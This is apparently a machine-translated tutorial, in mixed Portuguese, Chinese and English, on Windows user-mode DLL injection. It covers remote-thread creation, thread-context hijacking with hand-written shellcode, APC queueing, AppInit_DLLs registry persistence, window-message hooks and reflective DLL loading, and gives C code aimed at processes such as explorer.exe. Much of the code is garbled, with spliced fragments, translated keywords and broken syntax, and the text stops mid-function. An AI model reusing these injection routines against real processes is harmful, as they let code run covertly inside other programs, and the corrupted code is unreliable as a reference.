English | 简体中文 | 繁體中文 | Русский язык | Français | Español | Português | Deutsch | 日本語 | 한국어 | Italiano | بالعربية

Windows x86/ x64 Ring3Resumo da injeção de nível Dll

0x01.Introdução

  Mencionar a injeção de Dll, podemos pensar em muitos métodos imediatamente, como usar threads remotas, Apc, etc., aqui eu falo sobre Ring3.Faça um resumo do aprendizado da injeção de Dll de nível.

  Dividi os métodos de injeção em seis categorias, respectivamente:1.Crie um novo thread,2.Defina o contexto de contexto do thread, modifique os registradores,3.Insira a fila Apc,4.Modifique o registro,5.Hooke as mensagens de janela,6.Realização manual remota de LoadLibrary.

  Então, vamos começar a jornada de aprendizado!

0x02.Pré-requisitos

  No que diz respeito à injeção no programa, naturalmente, é necessário aumentar os privilégios do programa, aqui forneço duas funções encapsuladas que podem ser usadas para aumentar privilégios. A primeira é ajustar privilégios através de um token de permissão; A segunda é ajustar privilégios através da função não documentada exportada pelo ntdll.dll RtlAdjustPrivilege.

// Passar o parâmetro SE_DEBUG_NAME, elevando para permissões de depuração
BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
DWORD dwReturnLength = sizeof(OldPrivileges);
HANDLE TokenHandle = NULL;
LUID uID;
// abrir o token de permissão
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
{
if (GetLastError() != ERROR_NO_TOKEN)
{
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return FALSE;
}
}
if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) // procurar uID pelo nome da permissão
{
CloseHandle(TokenHandle);
return FALSE;
}
TokenPrivileges.PrivilegeCount = 1; // número de permissões a serem elevadas
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // array dinâmico, o tamanho do array depende do número de Count
TokenPrivileges.Privileges[0].Luid = uID;
// aqui estamos ajustando as permissões
if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
{
CloseHandle(TokenHandle);
return FALSE;
}
// Concluído com sucesso
CloseHandle(TokenHandle);
return TRUE;
}

  Portanto, uma vez que devemos injetar Dll no processo alvo, obter o Id do processo alvo é essencial, pois o OpenProcess será certamente usado, aqui também forneço dois métodos para obter o Id do processo pelo nome do imagem do processo alvo. O primeiro é o mais comum, usando TlHelp para criar um snapshots do sistema de processos; O segundo é usando a série de funções de enumeração Psapi, mas este método que implementei tem algumas falhas.32Não pode ser obtido na64Id do processo.

// Uso das funções da série ToolHelp
#include <TlHelp32.h>
BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId)
{
HANDLE ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
PROCESSENTRY32 ProcessEntry32 = { 0 };
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // inicializar PROCESSENTRY32estrutura
ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // fornecer snapshots de todos os processos do sistema
if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
}
if (Process32First(ProcessSnapshotHandle, &ProcessEntry32)) // encontrar o primeiro
{
do
{
if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) // não distingue maiúsculas e minúsculas
{
*ProcessId = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
}
CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
if (*ProcessId == 0)
{
return FALSE;
}
return TRUE;
}
// Uso das funções de enumeração da série Psapi
#include <Psapi.h>
BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId)
{
DWORD dwProcessesId[1024] = { 0 };
DWORD BytesReturned = 0;
UINT32 ProcessCount = 0;
// Obter todos os Ids de processo do sistema operacional atual e armazená-los no array dwProcessesId
if (!EnumProcesses(dwProcessesId, sizeof(dwProcessesId), &BytesReturned))
{
return FALSE;
}
ProcessCount = BytesReturned / sizeof(DWORD);
// Varredura
for (INT i = 0; i < ProcessCount; i++)
{
HMODULE ModuleBase = NULL;
WCHAR wzModuleBaseName[MAX_PATH] = { 0 };
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessesId[i]);
if (ProcessHandle == NULL)
{
continue;
}
if (EnumProcessModulesEx(ProcessHandle, &ModuleBase, sizeof(HMODULE), &BytesReturned, LIST_MODULES_ALL))
{
// Obter o nome do primeiro módulo do processo
GetModuleBaseName(ProcessHandle, ModuleBase, wzModuleBaseName, MAX_PATH * ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath)
}
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
if (lstrcmpi(wzModuleBaseName, wzProcessImageName) == 0) // não distingue maiúsculas e minúsculas
{
*ProcessId = dwProcessesId[i];
break;
}
}
if (*ProcessId == 0)
{
return FALSE;
}
return TRUE;
}

  Em operações como a inserção na fila Apc, suspensão de threads etc., é necessário manipular as threads do processo alvo, portanto, obter o Id da thread também é necessário. Da mesma forma, também forneço dois métodos para obter o Id da thread a partir do Id do processo. O primeiro continua a usar TlHelp para criar um snapshot de threads do sistema, armazenando todas as threads em um vector template (para uso na injeção Apc); o segundo é usar a técnica ZwQuerySystemInformation, enumerando informações de processos do sistema, este método retorna apenas um Id de thread, o que já é suficiente.

// 枚举指定进程ID的所有线程,将其压入模板中
#include <vector>
#include <TlHelp32.h>
using namespace std;
BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT vector<UINT32>& ThreadIdVector)
{
HANDLE ThreadSnapshotHandle = NULL;
THREADENTRY32 ThreadEntry32 = { 0 };
ThreadEntry32.dwSize = sizeof(THREADENTRY32);
ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 为系统所有线程创建快照
if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
}
if (Thread32First(ThreadSnapshotHandle, &ThreadEntry32))
{
do
{
if (ThreadEntry32.th32OwnerProcessID == ProcessId)
{
ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 将此进程的所有线程ID压入模板
}
}) while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));
}
CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL;
return TRUE;
}
// ZwQuerySystemInformation+SystemProcessInformation
typedef
NTSTATUS(NTAPI * pfnZwQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN UINT32 SystemInformationLength,
OUT PUINT32 ReturnLength OPCIONAL)
BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT PUINT32 ThreadId)
{
BOOL bOk = FALSE;
NTSTATUS Status = 0;
PVOID BufferData = NULL;
PSYSTEM_PROCESS_INFO spi = NULL;
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL)
{
return FALSE;
}
BufferData = malloc(1024 * 1024);
if (!BufferData)
{
return FALSE;
}
// 在QuerySystemInformation系列函数中,查询SystemProcessInformation时,必须提前申请好内存,不能先查询得到长度再重新调用
Status = ZwQuerySystemInformation(SystemProcessInformation, BufferData, 1024 * 1024, NULL);
if (!NT_SUCCESS(Status))
{
free(BufferData);
return FALSE;
}
spi = (PSYSTEM_PROCESS_INFO)BufferData;
// 遍历进程,找到我们的目标进程
while (TRUE)
{
bOk = FALSE;
if (spi->UniqueProcessId == (HANDLE)ProcessId)
{
bOk = TRUE;
break;
}
else if (spi->NextEntryOffset)
{
spi = (PSYSTEM_PROCESS_INFO)((PUINT8)spi + spi->NextEntryOffset);
}
else
{
break;
}
}
if (bOk)
{
for (INT i = 0; i < spi->NumberOfThreads; i++)
{
// 返出找到的线程Id
*ThreadId = (UINT32)spi->Threads[i].ClientId.UniqueThread;
break;
}
}
if (BufferData != NULL)
{
free(BufferData);
}
return bOk;
}

  Bem, até agora, as preparações preliminares estão quase prontas, então vamos começar com o tema principal!

0x03.Método de injeção um -- Criar nova thread

  Criar uma nova thread, ou seja, criar uma thread no processo alvo para nos servir, e os métodos que encontrei para criar threads são três:1.CreateRemoteThread;2.NtCreateThreadEx;3.RtlCreateUserThread.

  A ideia básica é:1.Aloca memória no espaço de memória do processo alvo;2.Escreve o caminho completo do Dll na memória recém-alocada;3.Cria uma nova thread para executar LoadLibrary, assim completando a injeção do Dll.

  ps: aqui estou usando o kernel carregado por mim mesmo32Obtém o endereço de LoadLibrary na tabela de exportação do módulo, porque geralmente, todos os processos carregam esses sistemas bibliotecas no mesmo endereço na memória!

  Porque a função usada para criar a thread é diferente, então é só desbloquear um dos passos de criação de thread, bloquear os outros dois, e tudo funcionará, aqui estou desbloqueando NtCreateThreadEx.

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
#define NT_SUCCESS(x) ((x) >= 0)
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef NTSTATUS(NTAPI * pfnRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPCIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits OPCIONAL,
IN SIZE_T StackReserve OPCIONAL,
IN SIZE_T StackCommit OPCIONAL,
IN PTHREAD_START_ROUTINE StartAddress,
IN PVOID Parameter OPCIONAL,
OUT PHANDLE ThreadHandle OPCIONAL,
OUT PCLIENT_ID ClientId OPCIONAL);
BOOL InjectDll(UINT32 ProcessId)
{
HANDLE ProcessHandle = NULL;
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
// 在对方进程空间申请内存,存储Dll完整路径
UINT32 DllFullPathLength = (strlen(DllFullPath) + 1);
PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
se (DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
return FALSE;
}
// 将DllFullPath写进刚刚申请的内存中
SIZE_T ReturnLength;
BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength);
LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL;
HMODULE Kernel32Module = GetModuleHandle(L"Kernel32");
LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");
pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");
if (NtCreateThreadEx == NULL)
{
CloseHandle(ProcessHandle);
return FALSE;
}
HANDLE ThreadHandle = NULL;
// 0x1FFFFF #define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF)
NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULL, NULL, NULL, NULL);
/*
pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");
HANDLE ThreadHandle = NULL;
NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL); 
*/
/*
HANDLE ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, LoadLibraryAddress, DllFullPathBufferData, 0, NULL); // CreateRemoteThread 函数
*/
if (ThreadHandle == NULL)
{
CloseHandle(ProcessHandle);
return FALSE;
}
if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
{
return FALSE;
}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}

0x04.注入方法二 -- 设置线程上下背景文

  设置线程上下背景文的主要目的是让目标进程的某一线程转去执行我们的代码,然后再回来做他该做的事,而我们的代码,就是一串由汇编硬编码组成的ShellCode。

  这串ShellCode做了三件事:1.传入Dll完整路径参数;2.呼叫LoadLibrary函数地址;3.返回原先的Eip或Rip。

  这里我选用的呼叫指令是ff 15 和 ff 25,在32位下为跳转到15(25指令后面字节码对应地址里面存放的地址,在64位下15(25) Os quatro bytes seguintes ao comando armazenam o deslocamento, que salta para o endereço calculado armazenado lá. Aqui, escrevi o deslocamento como 0 para facilitar o cálculo.

#ifdef _WIN64
// Teste 64 Posição O dll foi injetado, o Bug foi corrigido
/*
0:019> u 0x000002b5d5f80000
000002b5`d5f80000 4883ec28 sub rsp,28h
000002b5`d5f80004 488d0d20000000 lea rcx,[000002b5`d5f8002b]
000002b5`d5f8000b ff1512000000 call qword ptr [000002b5`d5f80023]
000002b5`d5f80011 4883c428 add rsp,28h
000002b5`d5f80015 ff2500000000 jmp qword ptr [000002b5`d5f8001b]
*/
UINT8 ShellCode[0x100] = {
0x48,0x83,0xEC,0x28, // sub rsp ,28h
0x48,0x8D,0x0d, // [+4] lea rcx,
0x00,0x00,0x00,0x00, // [+7] DllNameOffset = [+43] - [+4] - 7
// call deslocamento de salto, para o endereço, des*Número
0xff,0x15, // [+11]
0x00,0x00,0x00,0x00, // [+13] 
0x48,0x83,0xc4,0x28, // [+17] add rsp,28h
// ] jmp deslocamento de salto, para o endereço, des*Número
0xff,0x25, // [+21]
0x00,0x00,0x00,0x00, // [+23] OffSet Endereço LoadLibraryAddress
// Armazenamento do rip original
0x00,0x00,0x00,0x00, // [+27]
0x00,0x00,0x00,0x00, // [+31]
// Plataforma de atalho endereço LoadLibrary
0x00,0x00,0x00,0x00, // [+35] 
0x00,0x00,0x00,0x00, // [+39]
// Armazenamento da pasta completa do dll
// 0x00,0x00,0x00,0x00, // [+43]
// 0x00,0x00,0x00,0x00 // [+47]
// ......
};
#else
// Teste 32 Posição Ajuste em conjunto com o novo Dll para injecção repetida
/*
0:005> u 0x00ca0000
00000000`00ca0000 60 pusha
00000000`00ca0001 9c pushfq
00000000`00ca0002 681d00ca00 push 0CA001Dh
00000000`00ca0007 ff151900ca00 call qword ptr [00000000`01940026]
00000000`00ca000d 9d popfq
00000000`00ca000e 61 popa
00000000`00ca000f ff251500ca00 jmp qword ptr [00000000`0194002a]
*/
UINT8 ShellCode[0x100] = {
0x60, // [+0] pusha
0x9c, // [+1] pushf
0x68, // [+2] push
0x00,0x00,0x00,0x00, // [+3] ShellCode + 
0xff,0x15, // [+7] call 
0x00,0x00,0x00,0x00, // [+9] Endereço LoadLibrary Endereço
0x9d, // [+13] popf
0x61, // [+14] popa
0xff,0x25, // [+15] jmp
0x00,0x00,0x00,0x00, // [+17] jmp eip
// Endereço eip
0x00,0x00,0x00,0x00, // [+21]
// Endereço LoadLibrary
0x00,0x00,0x00,0x00, // [+25] 
// DllFullPath 
0x00,0x00,0x00,0x00 // [+29] 
};
#endif

  Todo o processo de injecção é composto por esses passos: Solicitar memória (memória executável) no processo alvo ---> Preenchimento do código ShellCode necessário ---> Write ShellCode to the allocated memory ---> SuspendThread(挂起线程)---> GetThreadContext(获得线程上下背景文)---> Modify the Eip or Rip of the Context to the start address of ShellCode ---> SetThreadContext(设置刚修改过的Context)---> ResumeThread(恢复线程执行)。

BOOL Inject(IN UINT32 ProcessId, IN UINT32 ThreadId)
{
BOOL bOk = FALSE;
CONTEXT ThreadContext = { 0 };
PVOID BufferData = NULL;
HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
// Firstly, suspend the thread
SuspendThread(ThreadHandle);
ThreadContext.ContextFlags = CONTEXT_ALL;
if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
{
CloseHandle(ThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
}
BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (BufferData != NULL)
{
if (LoadLibraryWAddress != NULL)
{
#ifdef _WIN64
// ShellCode + 43Store the full path at this location
PUINT8 v1 = ShellCode + 43;
memcpy(v1, DllFullPath, (wcslen(DllFullPath) + 1) * ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath)
UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7);
*(PUINT32)ShellCode + 7) = DllNameOffset;
// ShellCode + 35Place the LoadLibrary function address at this location
*(PUINT64)ShellCode + 35) = (UINT64)LoadLibraryWAddress;
UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6);
*(PUINT32)ShellCode + 13) = LoadLibraryAddressOffset;
// Place the rip address
*(PUINT64)ShellCode + 27) = ThreadContext.Rip;
if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
{
return FALSE;
}
ThreadContext.Rip = (UINT64)BufferData;
#else
PUINT8 v1 = ShellCode + 29;
memcpy((char*)v1, DllFullPath, (wcslen(DllFullPath) + 1) * ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath) //This is the name of the DLL to be injected
*(PUINT32)ShellCode + 3) = (UINT32)BufferData + 29;
*(PUINT32)ShellCode + 25) = LoadLibraryWAddress; //Loadlibrary address is placed in the shellcode
*(PUINT32)ShellCode + 9) = (UINT32)BufferData + 25;//Modify the address after call to the target space where loaddlladdr is stored
//////////////////////////////////
*(PUINT32)ShellCode + 21) = ThreadContext.Eip;
*(PUINT32)ShellCode + 17) = (UINT32)BufferData + 21;//modificar jmp para o endereço do eip original
if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
{
printf("erro ao escrever processo\n");
return FALSE;
}
ThreadContext.Eip = (UINT32)BufferData;
#endif 
if (!SetThreadContext(ThreadHandle, &ThreadContext))
{
printf("erro ao definir contexto de thread\n");
return FALSE;
}
ResumeThread(ThreadHandle);
printf("ShellCode injetado com sucesso\r\n");
}
}
CloseHandle(ThreadHandle);
CloseHandle(ProcessHandle);
return TRUE;
}

0x05.inserir na fila Apc

  Ring3Apc injetado da camada A não é muito estável, minha abordagem é forçar a inserção de objetos Apc na fila Apc do UserMode de todos os threads do processo alvo (os threads têm duas filas Apc: Kernel e User), esperando que ele execute a função registrada no Apc. E apenas quando o thread está em estado alterável, ele verificará se há funções registradas para serem executadas na fila Apc.

  ps: devido ao fato de não saber qual thread processará o Apc, a sensação de Ring3Apc injetado de camada A não é tão eficaz quanto outros métodos, mas o Apc injetado de camada Ring0 é relativamente estável. Antes de testar xp e win10tudo bem, win7Apostila explorer processo sempre cai, depois de ajustar por um tempo, descobri que percorrer os threads do reverso não cai Orz

int main()
{
......
ThreadCount = ThreadIdVector.size();
for (INT i = ThreadCount - 1; i >= 0; i--)
{
UINT32 ThreadId = ThreadIdVector[i];
InjectDllByApc(ProcessId, ThreadId);
}
......
}
BOOL InjectDllByApc(IN UINT32 ProcessId, IN UINT32 ThreadId)
{
BOOL bOk = 0;
HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
UINT_PTR LoadLibraryAddress = 0;
SIZE_T ReturnLength = 0;
UINT32 DllFullPathLength = (strlen(DllFullPath) + 1);
// global, solicitar memória uma vez
se (DllFullPathBufferData == NULL)
{
//solicitar memória
DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
se (DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return FALSE;
}
}
// para evitar que a operação de escrita anterior falhe, escrever repetidamente
bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1,
&ReturnLength);
if (bOk == FALSE)
{
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return FALSE;
}
LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll", ", LoadLibraryA");
se (LoadLibraryAddress == NULL)
{
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return FALSE;
}
__try
{
QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (UINT_PTR)DllFullPathBufferData);
}
__except (EXCEPTION_CONTINUE_EXECUTION)
{
}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}

0x06.modificar o registro

  A injeção de registro pode ser considerada um Hook global, afinal, o processo recém-criado carrega User32ao carregar .dll, será automaticamente chamado LoadLibrary para carregar o caminho do DLL gravado na chave de item do registro.

  A chave de registro que nos importa é: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, e o valor que devemos configurar é AppInit_DLLs = "Caminho completo do DLL", LoadAppInit_Dlls = 1(Let the system use this registry item)

  Note: Since the injected Dll is in the early stage of process creation, it is necessary to be extra careful when using functions in the Dll, as some libraries may not have been loaded yet.

int main()
{
LSTATUS Status = 0;
WCHAR* wzSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows";
HKEY hKey = NULL;
// Open registry
Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, // The root key to be opened
wzSubKey, // The address of the name of the subkey to be opened
0, // Reserved, pass 0
KEY_ALL_ACCESS, // Open mode
&hKey); // The returned subkey handle
if (Status != ERROR_SUCCESS)
{
return 0;
}
WCHAR* )&dwLoadAppInit, sizeof(DWORD));
DWORD dwValueType = 0;
UINT8 ValueData[MAX_PATH] = { 0 };
DWORD dwReturnLength = 0;
// Query registry
Status = RegQueryValueExW(hKey, // Subkey handle
wzValueName, // The name of the key to be queried
NULL, // Reserved
&dwValueType, // Data type
ValueData, // Registry value
&dwReturnLength);
WCHAR wzDllFullPath[MAX_PATH] = { 0 };
GetCurrentDirectoryW(MAX_PATH, wzDllFullPath);
#ifdef _WIN64
wcscat_s(wzDllFullPath, L"\\x64NormalDll.dll");
#else
wcscat_s(wzDllFullPath, L"\\x86NormalDll.dll");
#endif
// Set registry value
Status = RegSetValueExW(hKey,
wzValueName,
NULL,
dwValueType,
(CONST BYTE*)wzDllFullPath,
(lstrlen(wzDllFullPath) + 1) * ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath)
if (Status != ERROR_SUCCESS)
{
return 0;
}
wzValueName = L"LoadAppInit_DLLs";
DWORD dwLoadAppInit = 1;
// Query registry
, sizeof(WCHAR));
// Set registry value
Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength);*dwLoadAppInit = 0;
if (Status != ERROR_SUCCESS)
{
return 0;
}
printf("Press Any Key To Resume\r\n");
getchar();
getchar();
// 恢复键值
Restaurar valores de chave
, sizeof(WCHAR));
Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength);*dwLoadAppInit = 0;
)&dwLoadAppInit, sizeof(DWORD));
wzValueName = L"AppInit_DLLs"; + 1) * ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath)
, sizeof(WCHAR));
Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength);*Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE
return 0;
}

0x07)wzDllFullPath, 0);

  .Uso de API de MS para ganchar mensagens de janela

// Injeção de código crítico do exe para o contexto de mensagem especifico da thread de destino, entrando na função exportada do Dll
BOOL Inject(IN UINT32 , OUT HHOOK& HookHandle)
{
HMODULE DllModule = LoadLibraryA(DllFullPath);
FARPROC FunctionAddress = GetProcAddress(DllModule, "Sub_1");
HookHandle = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)FunctionAddress, DllModule, ThreadId);
if (HookHandle == NULL)
{
return FALSE;
}
return TRUE;
}
// Função exportada na biblioteca dinâmica
extern "C"
__declspec(dllexport)
VOID Sub_1() // Função exportada
{
MessageBox(0, 0, 0, 0);
}

0x08.Implementação manual remota de LoadLibrary

  Este método é aprendido do github chamado ReflevtiveDllInjection, basicamente dividido em duas partes, exe e dll, que serão brevemente descritas a seguir.

  exe: Como programa de início de injeção, solicitar um bloco de memória PAGE_EXECUTE_READWRITE no espaço de memória do processo de destino, escrever o Dll diretamente no espaço de memória do processo de destino no formato de arquivo, obter o deslocamento da função de exportação "LoadDllByOEP" no arquivo, e usar CreateRemoteThread para fazer o processo de destino executar a função LoadDllByOEP.

  Dll: A função de exportação mais crítica LoadDllByOEP, onde, primeiro, através do processo de destino, obter o endereço da função NtFlushInstructionCache da tabela de exportação do ntdll.dll, no Kernel32Na tabela de exportação do .dll, obter os endereços das funções LoadLibraryA, GetProcAddress e VirtualAlloc; em seguida, solicitar novamente espaço em memória no espaço de memória do processo, copiar minha estrutura PE para a memória, corrigir o IAT e o bloco de redirecionamento, e finalmente chamar o OEP do módulo para completar a implementação manual da LoadLibrary!

  ps: Ao escrever o código, consultei o livro "Guia Oficial do Windows PE", o que me proporcionou uma nova compreensão da estrutura PE completa. Tenho a síndrome do círculo infinito do for... Este código está completo.

// InjectDllByOEP.cpp : Define o ponto de entrada da aplicação de console.
//
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
BOOL GrantPriviledge(WCHAR* PriviledgeName);
UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer);
UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader);
BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam);
CHAR DllFullPath[MAX_PATH] = { 0 };
int main()
{
// Primeiro, obtenha o privilégio
if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
{
printf("Erro de GrantPriviledge\r\n");
}
// A seguir, obter o ID do processo pelo nome do processo
UINT32 ProcessId = 0;
GetCurrentDirectoryA(MAX_PATH, DllFullPath);
#ifdef _WIN64
// GetProcessIdByProcessImageName(L"Taskmgr.exe", &ProcessId);
GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
strcat_s(DllFullPath, "\\x64LoadRemoteDll.dll");
#else
GetProcessIdByProcessImageName(L"notepad++.exe", &ProcessId);
strcat_s(DllFullPath, "\\x86LoadRemoteDll.dll");
#endif
// Obter o柄 do dll
HANDLE FileHandle = CreateFileA(DllFullPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (FileHandle == INVALID_HANDLE_VALUE)
{
printf("Erro ao abrir arquivo\r\n");
return 0;
}
// Obter o tamanho do arquivo dll
UINT32 FileSize = GetFileSize(FileHandle, NULL);
if (FileSize == INVALID_FILE_SIZE || FileSize == 0)
{
printf("Erro ao obter tamanho do arquivo\r\n");
CloseHandle(FileHandle);
return 0;
}
// Solicitar memória, salvar
PVOID FileData = HeapAlloc(GetProcessHeap(), 0, FileSize);
if (FileData == NULL)
{
printf("Erro ao alocar memória na pilha\r\n");
CloseHandle(FileHandle);
return 0;
}
DWORD ReturnLength = 0;
BOOL bOk = ReadFile(FileHandle, FileData, FileSize, &ReturnLength, NULL);
CloseHandle(FileHandle);
if (bOk == FALSE)
{
printf("Erro ao ler arquivo\r\n");
HeapFree(GetProcessHeap(), 0, FileData);
return 0;
}
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (ProcessHandle == NULL)
{
printf("Erro ao abrir processo\r\n");
HeapFree(GetProcessHeap(), 0, FileData);
return 0;
}
// Executar a função exportada LoadDllByOEP no Dll, para que o processo alvo realize a função LoadLibrary
HANDLE ThreadHandle = LoadRemoteDll(ProcessHandle, FileData, FileSize, NULL);
if (ThreadHandle == NULL)
{
goto _Clear;
}
WaitForSingleObject(ThreadHandle, INFINITE);
_Clear:
if (FileData)
{
HeapFree(GetProcessHeap(), 0, FileData);
}
if (ProcessHandle)
{
CloseHandle(ProcessHandle);
}
return 0;
}
/************************************************************************
* Nome: LoadRemoteDll
* Param: ProcessHandle Handle do processo (IN)
* Param: ModuleBaseAddress Endereço base do módulo
* Param: ModuleLength Tamanho do módulo no arquivo
* Param: lParam Handle do módulo
* Ret : HANDLE
* Escrever o Dll no memória do processo alvo em formato de arquivo e executar a função exportada LoadDllByOEP do Dll
************************************************************************/
HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam)
{
HANDLE ThreadHandle = NULL;
__try
